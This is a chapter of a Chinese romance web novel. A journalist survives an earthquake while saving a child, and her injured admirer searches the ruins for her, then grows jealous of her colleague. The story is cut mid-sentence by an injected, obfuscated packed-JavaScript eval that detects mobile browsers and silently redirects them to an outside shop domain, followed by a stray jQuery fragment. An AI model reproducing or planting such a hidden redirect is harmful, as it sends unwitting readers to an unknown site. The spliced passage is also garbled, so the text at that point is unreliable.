采访过半,她透过搭建起来的木板空隙里,窥见木板后小女孩偷看的脸,起身想往旁边房间绕过去,只顾着看那头的小人,没注意到旁边的木凳,一下被绊倒在地上。
好在没有人注意到这边的动静,她感觉手心传来一阵刺痛,一抬手就看见掌心被木板划了几道口子,鲜血正往外冒,她想去翻找包里的纸巾,却迎上小女孩怯生生的目光,手里递过来一张揉皱的纸巾。
她朝着小女孩笑了笑接过纸巾捂住伤口,又抬头看向那双干净的眼睛。
“谢谢你,你叫晓晓是不是?”
小女孩不答,只是盯着她的手,断断续续吐出几个字:“痛痛……药药。”
宋相思没明白她的意思,下一秒就见她往外跑了出去,后来仔细一想,才反应过来,她是要去给自己找药。
宋相思忍着手心的痛重新站到了顾知行身后,顾知行看她一眼又低头认真盯着摄像机的拍摄画面。
突然,每个人的手机都振动起来,有人率先发现异常,大声提醒。
“地震了!快往外走。”
宋相思没看清屏幕上的地震预警,就被顾知行推了一把,他自己又回去收拾设备,一时间天旋地转,强烈的眩晕感传来,她回头看向摄像机旁边的人,又固执地扶着木板走到他旁边帮他一起收。
顾知行声音冷下来:“不是让你先走吗,怎么又回来了。”
宋相思第一次见他略带怒气的模样,却顾不上许多,终于两人都收完走到门口的时候,她却突然想到刚才的小女孩还在房子里,她没有片刻犹豫,就将设备递到顾知行手里,准备自己往里冲。
顾知行一把拉住她:“你不要命了,房子随时会塌的。”
宋相思不为所动,摇了摇头:“晓晓在里面,我得进去。”
说完甩开他的手一头跑进摇摇欲坠的木板房里。
“宋相思……”
她听见身后的人大声喊着自己的名字,但是想到那双清澈干净的眼睛,她就什么都顾不上了。
她踉跄着走到房间的另一侧,才看见缩在角落里的小姑娘,她强忍着脑子的晕眩将小女孩抱起来,边走还边安抚道:“别怕,姐姐带你出去。”
终于,在这片房子彻底坍塌前,她抱着怀里的人冲了出去,等她在空地站定,身后传来一阵巨大的轰鸣声。
整栋房子瞬间坍塌,夷为废墟。
她整个人也僵在原地,下意识用手捂住了小姑娘的耳朵。
那一刻,她与死神擦肩而过,怎么可能不害怕呢,身上全是冷汗,直到怀里的小孩被抱走的时候,她都是僵在原地无法动弹的。
有人一直晃着她的身体,她脑子里却好似什么都听不见,只剩下刺耳的轰鸣声,夹杂着细碎的嘈杂声,她眼前一黑,就失去了意识。
……
江城。
叶家别墅里,暗色光影中,只有墙上的新闻播报着一则最新消息。
2019年3月23日,浔阳市发生5.8级地震,目前当地已开展救援,群众有序转移,伤亡灾情正在统计,请大家注意防范余震,本台将持续为您报道。
隐匿在夜色里的人握住椅子扶手,颤抖着摸过沙发上的手机,拨出一个电话。
“嘟……嘟……您好,你所拨打的电话已关机,请稍后再拨。”
手机的忙音每多一次,男子脸色就更沉几分。
不知道打了多少个电话,他颤着手往下滑了滑,拨出另一个号码。
“帮我买一张去浔阳的机票。”
电话挂断,夜里静得不像话,男子撑着轮椅的扶手想站起来,身体却不受控制的,顺着轮椅滑落在地上。
男子睫毛微动,一颗晶莹的泪珠随着睫毛颤动落了下来。
他低沉喑哑的自语,在偌大的房间里回荡。
“我竟然,连赶到你身边,都做不到。”
……
叶清淮就只有一个想法,确认她的安全,无法接通的电话,让他心头腾起一阵强烈的不安。
他现在这个样子出行多有不便,给李宴清打电话买机票的时候,李宴清理察觉到他状态不对,所以最后李宴清还是陪他坐上了去浔阳的飞机。
亲眼见证灾后的那一刻,他的心更加揪作一团。
李宴清的打听之下,他来到了小镇上的救助站,经过多方询问,他才终于确定了江城来的采访团在哪个位置。
灾后的路很是崎岖,他的轮椅根本没办法推进去,他只能杵着拐杖,慢吞吞的往里走,李宴清几次想扶他都被他制止。
一路上,鲜血,哭喊,巨大的哀痛撞在他的心上。
直到他在一片废墟里看到一辆被掩埋住的车,车身都被掩埋住了,只露出车头的玻璃,他却敏锐的捕捉到车窗一角静静躺着一个熟悉的毛绒挂件。
那一刻,身体里的血液倒流,他只感觉胸腔里有什么东西要碎了,眼神染上极大的震惊与不可置信,下一秒他不顾李宴清的阻拦,撑着身子爬到车窗旁边,用尽全身力气,握着拳头一下又一下往车窗上砸去。
“宋相思……宋相思……”
整只手都被玻璃碎片染成红色,一时间鲜血淋漓,他还执拗地不肯停,不知道拍了多久,他表情变得木然,手还机械性的拍打着车窗。
突然,不远处传来让他熟悉又惊喜的女声。
“叶清淮。”
叶清淮停住了手上的动作,以为是自己的错觉,缓缓回过头。
不远处女孩一身粗布衣服,裤脚被高高卷起,脸上带了灰尘和泥土,那双眼睛却依然明亮,不染纤尘。
没等他做出反应,女孩已经冲到他面前蹲下,小心翼翼的握着他的手,语气里已经带上哭腔。
“叶清淮,你是笨蛋吗?这么多血,你不会疼吗?”
叶清淮被她吼得怔住,心底却满是失而复得的喜悦,嘴角颤动。
宋相思又朝着他身后的李宴清吼:“你怎么不拦着他?这么多血,你们看不见吗?”
“这么多血,这么多血……”
李宴清一脸无辜和无奈的望着两人,不做解释。
她的眼泪像断了线的珍珠,源源不断的涌出,叶清淮想用手替她擦眼泪,却在距离女孩咫尺的时候停住,看着自己手上刺眼的红和女孩白皙的皮肤,还是将手缓缓放了下去。
他本意是想安慰眼前的人,一开口声音已经哑的不成样子。
“我没事,真的没事。”
宋相思忍着泪别过头,起身扶起他去包扎手上的伤。
因为他带了医疗用品,又不用浪费公共资源,宋相思只好跟着他到车里包扎。
叶清淮看着女孩小心翼翼的动作,面色始终平静,宋相思看着他满手的血和伤口,却几次颤抖。
叶清淮有意缓解她的情绪,将另一只手递到她面前:“这只手还能用,你要是生气还是可以打我的。”
宋相思白他一眼,正色问:“你为什么要去砸那辆车?”
叶清淮也收起脸上的玩笑,盯着她的眼睛回:“你的玩偶在车上,我以为你也……”
宋相思沉声接上他没说完的那句话:“你以为我也在车上?你以为我出事了,对吗?”
叶清淮沉默下来。
宋相思执拗的掰过他的脸,强迫着他与自己对视。
女孩目光灼灼,盯着他的眼睛一字一句道:“不可以,叶清淮,不可以因为我把自己置于危险的境地,无论什么时候,都不可以。”
叶清淮心下震动,他知道自己没法答应,因为无论重来多少次,他还是会的,不管不顾,受伤又算得了什么,如果是为了救她,生与死又有什么可思量。
下一秒,只听他疼得嘶了一声,借着手伤转了话题。
宋相思手上动作放缓,还不忘呛他:“现在知道疼了,刚才那么多人拦你的时候,哪来的力气推开别人的。”
叶清淮不敢说话,只是笑着任由女孩数落。
包扎好了以后,宋相思往窗外探头看了看,转过身道:“好了,这几天这只手先别动了,你在车上休息一会,我还得去跟我的同事汇合,我们刚好在地震现场,有一些采访的素材要跟。”
叶清淮没说话,宋相思就急匆匆下了车,望着她离开的背影,叶清淮的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17657026|207023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也被堵在喉咙里。
叶清淮还给宋愈白打了电话,告知这边的情况,那头的人低低的笑声传来。
“叶清淮,你动作可真够快的。”
叶清淮冷着声打断:“没什么事就挂了。”
宋愈白赶在他挂断的前一秒开口:“叶清淮,如果真是想好了要跟她在一起,那就请你无论如何都不要放开她的手,以后一丁点的苦都别让她尝到。”
叶清淮将手机重新凑到耳边,表情郑重了些,对着那头的人承诺:“我会的。”
……
叶清淮在车上等到傍晚,才看到宋相思的身影,下一刻表情瞬间冷了下来,宋相思扶着一个男人,看起来似乎受了伤,两人离得很近,叶清淮心头翻涌,别过了头不愿再看。
宋相思将他送回帐篷里,还待了十分钟左右才出来。
她走到叶清淮的车旁边,敲了敲车窗:“叶清淮!”
叶清淮冷着脸打开车门,一时不知道说什么,两人在车内沉默对坐着,宋相思偷偷看他好几次。
他有些别扭的问:“看我做什么?”
宋相思眼神坦荡:“你好看。”
叶清淮被一句带着调侃的夸奖弄得更加无言,平日里总要回击的人,竟然半个字也想不出来。
透过车窗的玻璃,他看到藏蓝的天空中大片的星星,一闪一闪的,他转头:“你看……”
声音断了线,他看到身旁的女孩已然靠着椅背熟睡,他不自觉往前拉进了两人的距离,凑到她面前仔细端详起这张脸。
不过来了几天,女孩脸上的皮肤有些干燥起皮,眼底的乌青在白皙的皮肤下异常显眼,他眼底闪过心疼,想替她盖一件衣服,视线一转却瞥见女孩手心的疤痕,看起来没有完全愈合,又混合着泥土和灰尘,看上去像是细菌感染,伤口有些发炎。
他用单手小心翼翼将女孩的手心摊开,一点一点的替她上药,不知道是不是动作太重了,女孩睡梦中皱了皱眉头,吓得叶清淮动作更加轻柔。
叶清淮就那么盯着她的脸,眼底带着喜悦和爱慕,一寸寸描摹。
不知道过了多久,他也靠着椅背睡着。
第二天一早,两人都是被吵醒的。
有人敲响了车窗的玻璃,宋相思揉了揉眼睛,摇下车窗,看清立在窗外的人,宋相思往前凑上去问:“学长,怎么了?要出发了吗?”
顾知行将手里的早点递上:“不是,我是来给你送早点的,不过你吃完也差不多可以过来集合了,我们今天任务有点重。”
叶清淮听完两人的对话,面色不善的盯着窗外那人,顾知行似乎也感受到了那道视线,朝着她身后看去,两人对上视线,空气里弥漫着无声的火药味。
顾知行不动声色看向宋相思,无意的问起:“相思,这是?”
宋相思回过头看了看,才想起来给他介绍:“这是我邻居家的哥哥。”
说完又朝着叶清淮道:“这是我的同事,也是我的学长。”
顾知行手伸进车窗,笑得从容:“你好,顾知行。”
叶清淮眼神淡漠扫过他伸来的手,半晌才浅浅握了一下,有些冷峻:“叶清淮。”
顾知行看出两人的关系不一般,打完招呼很识趣的离开了。
宋相思打开车门的那一刻,叶清淮试探的叫住她:“能不能不去?”
宋相思以为他在说笑,摇了摇头,手上开门的动作没停。
叶清淮倏地用那只受伤的手拉住她,固执又委屈的看向她:“不去可以吗?”
宋相思看着他纱布缠绕的伤口,血一点点的渗出来,直到整只手都被染成红色。
好巧不巧,顾知行又站在不远处叫她的名字。
她顿了顿,把身后的手拉开,眼神不解:“叶清淮,你不会疼吗?我真的有工作,你的手我让李宴清给你重新包一下,我们晚点说。”
看着她毅然决然的下车朝着别的男人走去,叶清淮目光彻底冷了下来,盯着两人离开的背影,拳头攥紧了些,鲜血滴进车内的毯子里,弥漫着一股血腥味。
“宋相思,你终于,也不要我了吗?”